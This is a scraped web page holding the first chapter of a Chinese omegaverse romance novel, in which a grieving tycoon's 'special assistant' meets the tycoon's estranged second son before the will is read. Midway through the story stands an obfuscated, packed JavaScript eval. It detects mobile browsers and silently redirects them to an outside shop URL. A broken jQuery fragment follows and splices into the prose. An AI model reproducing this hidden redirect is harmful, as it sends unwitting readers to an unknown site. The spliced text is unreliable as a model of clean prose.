文趣网 > 其他小说 > 小可怜勾上冷脸顶A后 > 1. 第 1 章
    严家掌权人过身了。

    祝予安一夜未睡,划掉手机通知栏的讣告新闻时,差点把聊天软件的提醒也一并忽略。

    他点开聊天框,来自弟弟祝予宁的消息蹦出来:【哥,我就不去学校的冬季游学了,没意思,我来找你好不好?】

    祝予安紧皱的眉心松了一瞬,但又很快再次锁起来:

    【你都没去,怎么知道没意思。你不用担心钱,你哥有钱。】

    弟弟抛来一个生气小猫表情包:【你又把我当小孩子骗,你才工作五个月诶,你哪有闲钱送我出国玩一趟?】

    【因为你哥在云廷工作,有的是钱。】祝予安戳了戳自己弟弟的头像,聊天软件跳出拍一拍的动效,【好了,这些都不是你该担心的。】

    【可是云廷的严董事长不是刚刚过身吗……哥,你是严董事长的助理,你的工作会不会受影响呀?】

    祝予安顿了半秒,很快回:【下一任董事长还要助理帮忙交接呢,你又在多想什么。】

    他的回复能骗得了祝予宁,却骗不了自己。

    老董事长严绍庭昨日猝死,祝予安的“助理”身份又算不上干净,新任董事长未必愿意留他。

    手机对话框里,祝予宁还在蹦借口,一会儿说想哥哥,一会儿说想要来跟祝予安学英语。

    祝予安全不理会,发了张祝予宁的成绩单过去,对面就熄了火。

    祝予安转而去联系了祝予宁的老师问游学的事情。

    这次游学是要去阿尔卑斯冬令营,顺道去苏黎世和日内瓦。算上滑雪私教、国际组织参访的费用,总共要近二十万。

    祝予安的账号刚好剩下二十二万,转出去后,余额数字净跌了一位。如果他还能继续在云廷工作,钱不是问题,可是他的身份不干净。

    老掌权人年过半百,突然老树开花想要孩子,于是就有了祝予安这么一个“特殊助理”。

    知道内情的人都觉得祝予安脏。

    如今老严董过身,严家哪位公子会接手云廷、又怎么看老严董留下来的旧旧账,谁也说不准。

    疲惫层层叠叠涌上来,让祝予安起身时眩晕了一瞬。

    叩叩。

    卧室房门边传来敲门声。

    佣人阿姨提醒道:“祝先生,差不多到时间了。”

    “知道了,我马上下去。”祝予安回答。

    祝予安低头,手机屏幕上显示着八点五十五分。

    九点钟就是老爷子的遗嘱宣读会,云廷各大董事和严董的两位公子都会来。等遗嘱揭晓,老爷子钦定的继承人就会被董事会老将们推上CEO之位。

    祝予安起身,推门出去。

    别墅的楼梯从二楼落下,祝予安扶着樱桃木扶手往下走。

    他穿着符合平时上班的白衬衫,不系领带,扣子只解开最上头一颗,袖口搭配一对白贝母袖口。他看起来和任何专业的助理都别无二致,因为年纪轻,还有种淡淡的书卷气。

    衬衫领子上,是一张疲倦压不住的秾丽面孔,沉甸甸的一双黑眼睛眼神发空。

    祝予安下到一层,深长的走廊有种让人眩晕的感觉。

    他穿过一道道樱桃木色的门,走过餐厅、花厅,就在他快要走到大会客厅时,左手边电梯指示灯亮了。

    电梯门缓缓开启,里头是一个很高挑的男人。

    来人一身黑风衣,长相俊朗,和严绍庭年轻时的照片有三分相似,剩下七分锋利又散漫,是独属于他自己的风流。

    这人出了电梯,戴着两枚戒指的右手打开风衣领子,衣领里头先露出蛇骨项链来,然后便是错着白色花纹的黑衬衫。

    祝予安下意识站得更直了些。

    这是老严董的二公子,严昭远,据说是个不好惹的。

    严昭远常年不在临湾市,被老严董发配到欧洲磨性子,却没想到他在欧洲站稳了,性子却半点没收。

    老严董对这个儿子可谓又爱又恨,连祝予安也不知道严昭远继任的成算。

    几步之外,严昭远也在看着祝予安,微眯着眼睛,就好像在看个新奇物件。

    于是祝予安先一步躲开视线,打招呼态度良好:“二公子。”

    那道来自严昭远的视线好像依旧压在他肩上。

    “什么味道?”严昭远把风衣脱下来放在臂弯里,“荔枝味的香水?”

    祝予安一愣,那是他的信息素。

    怎么会有Alpha分不出Omega信息素的味道?未免奇怪。

    祝予安脑中闪过一个模糊的可能,却一时不敢确认。他低下头回话道:“是我的信息素,打扰到您了吗?”

    他刚说完,就听见一声冷哼。

    “老头找的Omega。”严昭远打量着祝予安。

    祝予安错愕抬头,不知道自己是哪里得罪了人。

    严昭远凝在他脸上的目光变得锐利,嘴角那丝若有若无的笑化为嘲讽:“你是之前视频会议里那个吧,我还以为你真是个助理。”

    “我也确实是,签了合同的。”

    “那他该给你发两份工资。”严昭远随口讽刺道。他在祝予安身上扫过一眼,把外套随手丢到一边的沙发上,径直就往会客厅走去。

    祝予安看着那件版型优越的外套,眼角抽了抽。

    他见不得人糟蹋钱,外套一看就是BrunelloCucinelli,一件就够他弟弟小半学期的生活费,这待遇对好衣服来说太可惜。

    祝予安想了想,捡起外套挂好,交给路过的佣人阿姨。

    阿姨刚刚在换花,挂衣服时顺手把刚换下来的百合暂时搁在桌上,空气里花粉浮动,祝予安觉得一口气呛住,上也上不去、下也下不来,深呼吸几次也不奏效,眼睛也开始一起难受了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787785|210225||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大概是过敏了。可他以前是从不过敏。或许还是那药的原因,他的体质越来越怪。

    他揉了揉眼睛,打算忍一忍,但步子刚迈了一半,他就差点撞上前面的人。

    严昭远不知道什么时候转回身来,站到祝予安面前,见他整个人撞上来,皱起了眉头:“哭什么?给里头的人看我欺负你?”

    “没有。只是花粉而已。”祝予安吸了吸鼻子,说话也带着轻微的鼻音,“失陪。”祝予安快步朝洗手间走去,赶紧冲洗眼睛,又洗了把脸。

    在水龙头哗哗的水声里他抬起头,镜子里头他的眼圈粉红,眼睛也揉肿了,倒真像是哭成这样的。

    不过也好,今天这种场合他也不适合看起来太轻松。

    祝予安又练习了一把悲伤的表情,随后抹掉脸上的水,自嘲一笑,离开洗手间。

    推开门时,祝予安愣了一下。

    不远处,严昭远倚靠在窗边的装饰罗马柱边上,把/玩着一朵白花,阳光洒在他的发顶和肩上,让他整个人裹着一层浅浅的温和,和刚才犯混的简直就像两个人。

    祝予安不解,严昭远还没走?不去听宣读会是在等他?

    祝予安颔首,“二公子。”

    严昭远抬起眼睛,又递出一方手帕,“脸。”见祝予安没动,他又点了点自己的侧脸,“擦擦。”

    祝予安伸手一摸,脸上的水确实没擦干。

    “谢谢。”祝予安接过手帕,对这种莫名其妙的态度有些懵。

    那方手帕上有一股淡淡的苦甜味,干燥温暖,让人想起壁炉和雪茄。

    原来严昭远的信息素是烟草味的。

    祝予安突然感觉这味道有些模糊的熟悉。他一边擦着脸,一边打量这个比他高许多的Alpha。

    为什么要等呢,因为把别人惹哭而同情?

    一个试探的想法在祝予安心里成型。

    “阿姨,帮我把这条手帕洗一下。”祝予安喊住佣人阿姨,递出手帕。

    手帕却被另一只手接了过去。

    “给我就行,没那么讲究。”严昭远把手帕拿回来。

    祝予安忍着,没有让表情出现一丝变化。

    他的手帕没被嫌弃,这就像是一种信号。

    “谢谢二少爷。”祝予安说着。

    严昭远眼角一跳,对这个称呼好像很厌烦,“既然你是助理,那就跟公司其他人一样叫就行。”

    “好,昭总。”祝予安挂出了个得体的浅笑:“快开始了,谢谢您等我。”

    在交还手帕的那瞬间,祝予安佯装不小心,小拇指在严昭远手心滑过去,自己先走一步。

    后头的人似乎愣了一下,迟了半秒才跟上来。

    “还留了个麻烦。”

    祝予安听见后头的人似乎说了什么,一回头却又只看见严昭远神色如常,正在将方巾收起。